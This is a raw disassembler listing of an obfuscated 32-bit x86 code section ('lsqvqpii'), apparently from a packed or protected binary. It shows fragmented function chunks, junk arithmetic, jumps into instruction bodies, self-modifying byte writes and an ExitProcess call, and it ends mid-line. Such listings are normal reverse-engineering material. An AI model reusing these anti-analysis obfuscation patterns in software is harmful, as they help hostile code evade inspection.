sub_42CF38 loc_42E650: ; CODE XREF: lsqvqpii:0042E645j ; sub_42CF38:loc_42EDDAj xchg edx, [esp+0] push edx jmp loc_42E7C9 ; END OF FUNCTION CHUNK FOR sub_42CF38 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_42E65B: ; CODE XREF: lsqvqpii:0042E23Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E65C: ; CODE XREF: sub_42E407:loc_42D1ABj xchg edx, [esp+0] push 931F8915h pop ecx or ecx, 80CD1CB8h add ecx, 6C632B45h push offset sub_42CADB jmp nullsub_11 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42E67D: ; CODE XREF: sub_42DC4F+16j or ecx, 7E6B9612h xor ecx, 7A5183C9h and ecx, 78A4140Eh jns loc_42DFFA or edx, ebx jmp loc_42DF3F ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- loc_42E69C: ; CODE XREF: lsqvqpii:loc_42E264j jnz loc_42E439 jmp near ptr dword_42CD18+0Ah ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0 byte_42E6AB db 0C6h ; DATA XREF: sub_42E407:loc_42D7C3o dd 0AEE88706h, 4 ; --------------------------------------------------------------------------- loc_42E6B4: ; CODE XREF: lsqvqpii:0042DAAEj jmp loc_42DFA6 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E6BB: ; CODE XREF: lsqvqpii:0042DCECj pop edx and esi, 95AF5DC1h js near ptr dword_42D7A4+11h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D080 loc_42E6CA: ; CODE XREF: sub_42D080+1530j jmp loc_42DBCE ; END OF FUNCTION CHUNK FOR sub_42D080 ; --------------------------------------------------------------------------- db 89h dd 0F65BE901h db 2 dup(0FFh), 99h ; =============== S U B R O U T I N E ======================================= sub_42E6D7 proc near ; CODE XREF: lsqvqpii:loc_42DFB1p ; FUNCTION CHUNK AT 0042ED0E SIZE 00000005 BYTES xchg edx, [esp+0] push offset loc_42CEE0 jmp loc_42ED0E sub_42E6D7 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E6E5: ; CODE XREF: sub_42E407:loc_42CC5Dj push eax mov eax, offset nullsub_17 jmp loc_42D651 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- popf jmp sub_42D877 ; --------------------------------------------------------------------------- dw 6800h dd 0F46B90A5h, 8B240C87h, 0E38159D9h, 7F5FD584h, 0BBFAEB81h dd 0B4E9C6C0h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB86 loc_42E713: ; CODE XREF: sub_42EB86:loc_42E8BBj mov ecx, ebx xchg ecx, [esp+0] push offset loc_42D0FC jmp loc_42EA66 ; END OF FUNCTION CHUNK FOR sub_42EB86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDBB loc_42E722: ; CODE XREF: sub_42EDBB:loc_42DF60j mov esi, offset loc_42DCCE jmp loc_42CF9D ; END OF FUNCTION CHUNK FOR sub_42EDBB ; --------------------------------------------------------------------------- push offset loc_42E752 jmp loc_42DB8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D5D5 loc_42E736: ; CODE XREF: sub_42D5D5+Aj mov edi, esi pop esi mov ebp, esp push edi mov edi, ecx push offset loc_42D34F jmp nullsub_26 ; END OF FUNCTION CHUNK FOR sub_42D5D5 ; --------------------------------------------------------------------------- dd 38890000h, 0FFEFFBE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_42E752: ; DATA XREF: lsqvqpii:0042E72Co mov byte ptr [esi], 8Dh pop esi xchg ecx, [esp] mov ebp, esp push edi jmp loc_42EC09 ; --------------------------------------------------------------------------- xchg ebx, [esp] loc_42E764: ; CODE XREF: lsqvqpii:loc_42D3BDj pop ebx add ebx, 77776C04h loc_42E76B: ; DATA XREF: lsqvqpii:0042D102o movsd retn ; --------------------------------------------------------------------------- db 68h, 98h, 0D8h dd 20E90042h, 0FFFFF1h ; --------------------------------------------------------------------------- locret_42E778: ; CODE XREF: lsqvqpii:0042E62Cj retn ; --------------------------------------------------------------------------- jmp loc_42E632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E7E2 loc_42E77E: ; CODE XREF: sub_42E7E2+14j jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_42E7E2 ; --------------------------------------------------------------------------- byte_42E783 db 81h ; DATA XREF: lsqvqpii:0042E627o ; --------------------------------------------------------------------------- retn 0A4C1h ; --------------------------------------------------------------------------- db 88h ; --------------------------------------------------------------------------- retf 289h ; --------------------------------------------------------------------------- db 5Ah dd 99FF689Ch, 0D1E94ACFh, 0FFFFEAh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D2AC loc_42E799: ; CODE XREF: sub_42D2AC+9j mov byte ptr [eax], 9 xchg ebp, [esp-4+arg_0] mov eax, ebp pop ebp push eax mov eax, ecx xchg eax, [esp-4+arg_0] jmp loc_42EAD0 ; END OF FUNCTION CHUNK FOR sub_42D2AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBA0 loc_42E7AD: ; CODE XREF: sub_42CBA0+741j sub esi, 0F3CBD31Fh loc_42E7B3: ; CODE XREF: sub_42CBA0+72Ej push offset sub_42CEFC jmp loc_42D51A ; END OF FUNCTION CHUNK FOR sub_42CBA0 ; --------------------------------------------------------------------------- align 2 cmp ecx, 3F5B7620h jmp loc_42EC6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF38 loc_42E7C9: ; CODE XREF: sub_42CF38+171Cj pop eax xchg ecx, [esp+0] mov edx, ecx pop ecx jmp loc_42EA92 ; END OF FUNCTION CHUNK FOR sub_42CF38 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDBB loc_42E7D7: ; CODE XREF: sub_42EDBB-1E74j ; sub_42E332+14j ... push esi rol esi, 17h jmp loc_42DF60 ; END OF FUNCTION CHUNK FOR sub_42EDBB ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42E7E2 proc near ; CODE XREF: sub_42E407+48p ; FUNCTION CHUNK AT 0042E77E SIZE 00000005 BYTES xchg edx, [esp+0] xchg eax, [esp+0] mov edx, eax pop eax add esi, 6F9E8582h push offset loc_42CEBA jmp loc_42E77E sub_42E7E2 endp ; --------------------------------------------------------------------------- align 4 dd 0E9C20300h, 0FFFFE7F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E806: ; CODE XREF: lsqvqpii:0042CCDCj ; lsqvqpii:loc_42EC6Dj mov byte ptr [ecx], 87h pop ecx sub ecx, 903F66CEh push offset byte_42D9C1 jmp locret_42DF7E ; --------------------------------------------------------------------------- dw 8B00h dd 890F59C1h, 0FFFFE6A1h, 0DDCD058Dh, 68510042h, 9F1AC2B9h dd 0EE93E959h, 8900FFFFh, 0F12F683Bh, 90E932D4h, 0FFFFFAh dword_42E844 dd 0F5199668h, 241C87ABh, 0E95BFB8Bh, 561h, 1BF4BA00h ; DATA XREF: sub_42DC4F-18Ao dd 5FE90E4Dh, 0FFFFFFh, 0E9EE2B00h, 0FFFFF545h ; --------------------------------------------------------------------------- loc_42E868: ; DATA XREF: sub_42EDBB+10o push offset sub_42E057 jmp loc_42DCE6 ; --------------------------------------------------------------------------- align 4 test ecx, 0AE41FEA9h jmp loc_42DAB4 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_42E881: ; CODE XREF: lsqvqpii:loc_42EBB5j ; DATA XREF: sub_42EDBB-210o mov edx, [eax] or edx, edx loc_42E885: ; CODE XREF: lsqvqpii:0042E9B7j jz loc_42E7D7 jmp loc_42E264 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E892: ; CODE XREF: lsqvqpii:0042E1BEj add ecx, 0F3B2E18Bh mov ecx, [ecx] xchg ecx, [esp] push edx push 0A7BBA5F0h jmp loc_42E4AE ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E8AA: ; CODE XREF: lsqvqpii:0042CB28j jnz loc_42ECC3 loc_42E8B0: ; CODE XREF: lsqvqpii:0042EB1Cp xchg ecx, [esp] pop ecx call sub_42E930 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EB86 loc_42E8BB: ; CODE XREF: sub_42EB86+5j jmp loc_42E713 ; END OF FUNCTION CHUNK FOR sub_42EB86 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42E8C2: ; CODE XREF: sub_42DD3F-971j jmp loc_42D566 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E8C9: ; CODE XREF: sub_42E407:loc_42E903j jnz sub_42CBA0 jmp loc_42E9F2 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- dd 0C30000h, 50EC8B00h, 487C18Bh, 0FE93E924h, 0FFFFh, 67A8E981h dd 0BFE925EAh ; --------------------------------------------------------------------------- jmp short near ptr loc_42E8F0+1 ; CODE XREF: lsqvqpii:loc_42E8F0j ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CC9B loc_42E8F3: ; CODE XREF: sub_42CC9B+7j push 54D66F66h pop esi rol esi, 0Ah call sub_42E5DE ; END OF FUNCTION CHUNK FOR sub_42CC9B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E903: ; CODE XREF: sub_42E407-7D3j jmp loc_42E8C9 ; --------------------------------------------------------------------------- loc_42E908: ; CODE XREF: sub_42E407-EDDj jmp loc_42DC2E ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42D1E0 loc_42E90E: ; CODE XREF: sub_42D1E0:loc_42E052j pop edx push edx push 2779887Dh xchg ebp, [esp+4+var_4] mov edx, ebp pop ebp sub edx, 2F9C5F0Dh jmp near ptr loc_42DAEF+5 ; END OF FUNCTION CHUNK FOR sub_42D1E0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E929: ; CODE XREF: sub_42E407-152Cj jmp loc_42E505 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42E930 proc near ; CODE XREF: lsqvqpii:0042E8B4p ; lsqvqpii:0042ED5Ej ; FUNCTION CHUNK AT 0042DD10 SIZE 0000000E BYTES xchg ecx, [esp+0] pop ecx push 0F6BC9803h xchg ebp, [esp+0] mov ecx, ebp pop ebp xor ecx, 0C2CA3951h rol ecx, 5 jmp loc_42DD10 sub_42E930 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] dd 0FFE3B6E9h db 0FFh ; --------------------------------------------------------------------------- loc_42E955: ; CODE XREF: lsqvqpii:0042E4FFj mov byte ptr [eax], 87h pop eax pop edx loc_42E95A: ; DATA XREF: lsqvqpii:0042E4FAo xchg eax, [esp] push eax pop ebp jmp near ptr dword_42DD6C+11h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42E966: ; CODE XREF: sub_42DC4F:loc_42E3AAj jnz loc_42CE4B shl ebx, 1Dh jp loc_42E447 cmp edx, 0AF87AD06h jmp loc_42D75D ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_42E982: ; CODE XREF: lsqvqpii:loc_42E096j retn ; --------------------------------------------------------------------------- loc_42E983: ; CODE XREF: lsqvqpii:0042CF62j jmp loc_42D740 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- locret_42E989: ; CODE XREF: lsqvqpii:0042DF57j retn ; --------------------------------------------------------------------------- dw 6800h dd 3FA2EAC7h, 0F980820Fh, 28E9FFFFh, 3 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] align 10h mov ecx, eax xchg ecx, [esp] push ebp pop eax push esi jmp loc_42EA97 ; --------------------------------------------------------------------------- align 2 loc_42E9AE: ; DATA XREF: sub_42ECE4+Ao xchg edi, [esp] call ds:dword_4210C0 ; ExitProcess jmp loc_42E885 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E9BD: ; CODE XREF: sub_42E407-1532j ; sub_42E407+D1j lea eax, nullsub_1 mov byte ptr [eax], 0C3h retn ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 dd 8D00C600h, 0F535E858h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E2D3 loc_42E9D3: ; CODE XREF: sub_42E2D3-7FDj jmp loc_42E5F8 ; END OF FUNCTION CHUNK FOR sub_42E2D3 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42E9DA: ; CODE XREF: lsqvqpii:0042E383j sbb ebp, 9A32B1AFh ; =============== S U B R O U T I N E ======================================= sub_42E9E0 proc near ; CODE XREF: sub_42D877-C69p push offset loc_42D96E jmp nullsub_8 sub_42E9E0 endp ; --------------------------------------------------------------------------- loc_42E9EA: ; CODE XREF: lsqvqpii:loc_42DB8Cj retn ; --------------------------------------------------------------------------- align 4 dd 0E899E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42E9F2: ; CODE XREF: sub_42E407+4C8j ror edi, 2 loc_42E9F5: ; CODE XREF: sub_42E407:loc_42DC2Ej push offset sub_42E5B5 jmp nullsub_9 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42EA00 proc near ; CODE XREF: sub_42E407-1591j ; sub_42E407:loc_42E505j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042D4EF SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042E1E1 SIZE 00000011 BYTES push ebx mov ebx, edi xchg ebx, [esp+0] push 0EAF5EA9h jmp loc_42D4EF sub_42EA00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C0C15800h, 5CC0811Bh, 0E9C311D6h, 0FFFFF4DCh ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] dd offset dword_42CCA8+8 db 0E9h, 77h, 0F9h dd 0FFFFh, 0E819840Fh, 0FFFFh ; --------------------------------------------------------------------------- loc_42EA38: ; CODE XREF: lsqvqpii:0042E3B9j jmp loc_42E1C5 ; --------------------------------------------------------------------------- db 81h, 0D7h, 0F8h dd 0E908A331h, 0FFFFFAF4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42EA49: ; CODE XREF: sub_42D877:loc_42E2FFj call sub_42ECE4 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h dd 0FFEB8DE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_42EA5A: ; CODE XREF: lsqvqpii:0042DB69j pop eax add eax, 4B94AF11h call sub_42EC73 ; START OF FUNCTION CHUNK FOR sub_42EB86 loc_42EA66: ; CODE XREF: sub_42EB86-469j jmp nullsub_25 ; END OF FUNCTION CHUNK FOR sub_42EB86 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42EA6D: ; CODE XREF: sub_42D877-640j jnz loc_42E545 jmp loc_42EC65 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42EA7A: ; CODE XREF: lsqvqpii:loc_42EC1Cj test edi, 1000000h jmp loc_42DBB4 ; --------------------------------------------------------------------------- db 2 dup(0), 87h db 0DAh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42EA89: ; CODE XREF: sub_42D877:loc_42DA23j rol eax, 0Eh add eax, 42567961h loc_42EA92: ; CODE XREF: sub_42CF38+1898j call sub_42EDBB loc_42EA97: ; CODE XREF: lsqvqpii:0042E9A8j jmp loc_42D232 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- dd 0E699E900h, 0F9E9FFFFh db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42EAA7: ; DATA XREF: sub_42E365+12o call sub_42DB92 push esi push 312CB3B1h pop esi and esi, 0F2AD9A52h xor esi, 39F22964h jmp loc_42D815 ; --------------------------------------------------------------------------- shr ebx, 14h xchg edi, [edx] jmp loc_42EB61 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42D2AC loc_42EAD0: ; CODE XREF: sub_42D2AC+14FCj lea eax, byte_42DE10 push eax call sub_42CBA0 jmp loc_42DC03 ; END OF FUNCTION CHUNK FOR sub_42D2AC ; --------------------------------------------------------------------------- align 2 loc_42EAE2: ; CODE XREF: lsqvqpii:0042E63Dj jmp locret_42CCA7 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42EAE8: ; CODE XREF: sub_42DD3F+5DFj jmp loc_42CE22 ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42EAEF: ; CODE XREF: sub_42E407:loc_42CAAEj add edx, 7BDC90Fh or edx, 0C0F59705h add edx, 434503C0h add edx, ebp add edx, 0DEBB5C65h mov edx, [edx] loc_42EB0B: ; DATA XREF: lsqvqpii:0042E0F2o imul byte ptr [edx] call sub_42D877 add [ebp-1AD0162Dh], al ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_42EB1B: ; DATA XREF: lsqvqpii:0042E638o push ecx call loc_42E8B0 loc_42EB21: ; CODE XREF: lsqvqpii:0042D8A7j jmp near ptr dword_42D5E4+26h ; --------------------------------------------------------------------------- locret_42EB26: ; CODE XREF: lsqvqpii:0042D225j retn ; --------------------------------------------------------------------------- align 4 loc_42EB28: ; CODE XREF: lsqvqpii:0042E274j jmp near ptr dword_42D8B8+10h ; --------------------------------------------------------------------------- loc_42EB2D: ; CODE XREF: lsqvqpii:0042D9BBj jmp loc_42DDC3 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42EB34: ; CODE XREF: sub_42E407-2FAj jz loc_42D35E xor ebx, edi and ebx, eax jmp loc_42CE96 ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42EB44 proc near ; CODE XREF: lsqvqpii:0042CC6Bj ; lsqvqpii:0042D353p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042CCC9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CE7D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D021 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D15E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D5AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DBC2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042ED9E SIZE 00000011 BYTES xchg esi, [esp+0] xchg edx, [esp+0] mov esi, edx pop edx push 33DE803Eh push esi mov esi, edi xchg esi, [esp+4+var_4] jmp loc_42CCC9 sub_42EB44 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 retn ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_42EB61: ; CODE XREF: lsqvqpii:0042EAC9j xchg ebx, [esp] pop ebx xchg edx, [esp] mov esi, edx pop edx xchg eax, [esp] jmp near ptr dword_42DE30+12h ; --------------------------------------------------------------------------- align 4 dd 0EBCF6800h, 1CE96252h, 0FFFFEAh, 46820Fh db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42EB86 proc near ; CODE XREF: sub_42E407+38p ; FUNCTION CHUNK AT 0042E713 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042E8BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA66 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push ecx jmp loc_42E8BB sub_42EB86 endp ; --------------------------------------------------------------------------- dd 3D680000h, 0E90C64F1h, 0FFFFF1A1h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC4F loc_42EB9D: ; CODE XREF: sub_42DC4F+3B5j ; DATA XREF: sub_42E332-84Ar in al, 0 loc_42EB9F: ; CODE XREF: lsqvqpii:0042D746j jmp loc_42D0BF ; END OF FUNCTION CHUNK FOR sub_42DC4F ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDBB loc_42EBA5: ; CODE XREF: sub_42EDBB+4j jno loc_42CF43 push offset loc_42E881 jmp nullsub_13 ; END OF FUNCTION CHUNK FOR sub_42EDBB ; --------------------------------------------------------------------------- loc_42EBB5: ; CODE XREF: lsqvqpii:0042DB9Ej retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42EBB7: ; CODE XREF: lsqvqpii:0042DD5Cj jmp loc_42D926 ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CD93 loc_42EBBF: ; CODE XREF: sub_42CD93+7E5j jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_42CD93 ; --------------------------------------------------------------------------- dd 6B8B6800h, 5759C334h, 42D6FBBFh, 0FF06E900h, 880FFFFFh dd 6Bh, 0F542E99Dh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_42EBE3: ; CODE XREF: lsqvqpii:0042DF86j and ecx, 0F4A8087h or ecx, 71C4BA45h add ecx, 807627AEh xchg eax, edi or al, 24h jmp near ptr dword_42CEA0+3 ; --------------------------------------------------------------------------- db 2 dup(0), 3 dd 1CCFC1CFh, 0FFE133E9h db 0FFh ; --------------------------------------------------------------------------- loc_42EC09: ; CODE XREF: lsqvqpii:0042E75Cj mov edi, ecx call sub_42E365 loc_42EC10: ; CODE XREF: lsqvqpii:0042E401j jmp near ptr dword_42DF5C+1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFE94Ah ; --------------------------------------------------------------------------- loc_42EC1C: ; CODE XREF: lsqvqpii:0042D2F8j jmp loc_42EA7A ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42EDBB loc_42EC22: ; CODE XREF: sub_42EDBB-1E69j jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_42EDBB ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- locret_42EC29: ; CODE XREF: lsqvqpii:loc_42D006j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E365 loc_42EC2B: ; CODE XREF: sub_42E365+17j jmp nullsub_28 ; END OF FUNCTION CHUNK FOR sub_42E365 ; =============== S U B R O U T I N E ======================================= sub_42EC30 proc near ; DATA XREF: lsqvqpii:0042DBF7o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042CE46 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E5CC SIZE 00000011 BYTES push ebx mov ebx, eax xchg ebx, [esp+4+var_4] push 39D1FF00h pop eax xor eax, 0CBC88E32h jmp loc_42E5CC sub_42EC30 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD3F loc_42EC48: ; CODE XREF: sub_42DD3F-F00j jmp loc_42D3CB ; END OF FUNCTION CHUNK FOR sub_42DD3F ; --------------------------------------------------------------------------- db 2 dup(0), 9Ch ; --------------------------------------------------------------------------- push offset dword_42D1EC jmp locret_42D858 ; --------------------------------------------------------------------------- align 4 dd 0E90EC1C1h, 0FFFFFA72h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42EC65: ; CODE XREF: sub_42D877+11FCj xchg ebp, [ebx] cdq jmp loc_42E545 ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- loc_42EC6D: ; CODE XREF: lsqvqpii:0042E7C4j jnp loc_42E806 ; =============== S U B R O U T I N E ======================================= sub_42EC73 proc near ; CODE XREF: lsqvqpii:0042EA61p ; FUNCTION CHUNK AT 0042DCA9 SIZE 0000000C BYTES xchg ebx, [esp+0] xchg ecx, [esp+0] mov ebx, ecx jmp loc_42DCA9 sub_42EC73 endp ; --------------------------------------------------------------------------- dd 815F0000h, 0DDB3E9CFh, 0F5880FE3h, 0FFFFE0h, 0E5E9D2F7h dd 0FFFFE0h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E407 loc_42EC99: ; CODE XREF: sub_42E407:loc_42CAA2j mov byte ptr [edx], 9 xchg ebp, [esp+0] mov edx, ebp pop ebp xchg esi, [esp-4+arg_0] push edx mov edx, ecx jmp loc_42D1AB ; END OF FUNCTION CHUNK FOR sub_42E407 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42ECAF: ; CODE XREF: sub_42D877-320j pop eax or eax, 0FE47626h push edi push 0AC12FD0Bh jmp loc_42E08F ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_42ECC3: ; CODE XREF: lsqvqpii:loc_42E8AAj adc edi, 1246D697h mov esi, 0F12E9EBFh or edx, 7B6A4FBCh sub edx, 48E81846h push (offset loc_42E0DE+1) jmp locret_42D80E ; =============== S U B R O U T I N E ======================================= sub_42ECE4 proc near ; CODE XREF: lsqvqpii:0042D0A9j ; sub_42D877:loc_42EA49p xchg eax, [esp+0] pop eax add edi, 1B5BFBDAh push offset loc_42E9AE jmp nullsub_12 sub_42ECE4 endp ; --------------------------------------------------------------------------- dd 0EA810000h, 24505356h, 3E52C281h, 7E9BD59h, 0FFFFEAh db 0 ; --------------------------------------------------------------------------- locret_42ED0D: ; CODE XREF: lsqvqpii:0042DBEAj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E6D7 loc_42ED0E: ; CODE XREF: sub_42E6D7+8j jmp nullsub_16 ; END OF FUNCTION CHUNK FOR sub_42E6D7 ; --------------------------------------------------------------------------- align 4 loc_42ED14: ; CODE XREF: lsqvqpii:0042E0F7j jmp near ptr dword_42DA2C+0Bh ; --------------------------------------------------------------------------- align 2 dw 9368h db 90h db 0D7h, 9Eh, 5Ah dd 1FF2CA81h, 0DAE80FCAh, 0FFFFECh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5DE loc_42ED2C: ; CODE XREF: sub_42E5DE+13j jmp loc_42D358 ; END OF FUNCTION CHUNK FOR sub_42E5DE ; --------------------------------------------------------------------------- align 2 adc esi, eax ; =============== S U B R O U T I N E ======================================= sub_42ED34 proc near ; CODE XREF: lsqvqpii:loc_42EDAFp xchg edi, [esp+0] pop edi mov byte ptr [ebx], 9Dh pop ebx push ebx jmp near ptr dword_42CC24+2Ah sub_42ED34 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D877 loc_42ED42: ; CODE XREF: lsqvqpii:loc_42E1C5p ; sub_42D877+D2Ej xchg esi, [esp+3E34h+var_3E34] pop esi push ecx call sub_42DC4F loc_42ED4C: ; CODE XREF: lsqvqpii:0042D977j add cl, ch fsub st(5), st ; END OF FUNCTION CHUNK FOR sub_42D877 ; --------------------------------------------------------------------------- db 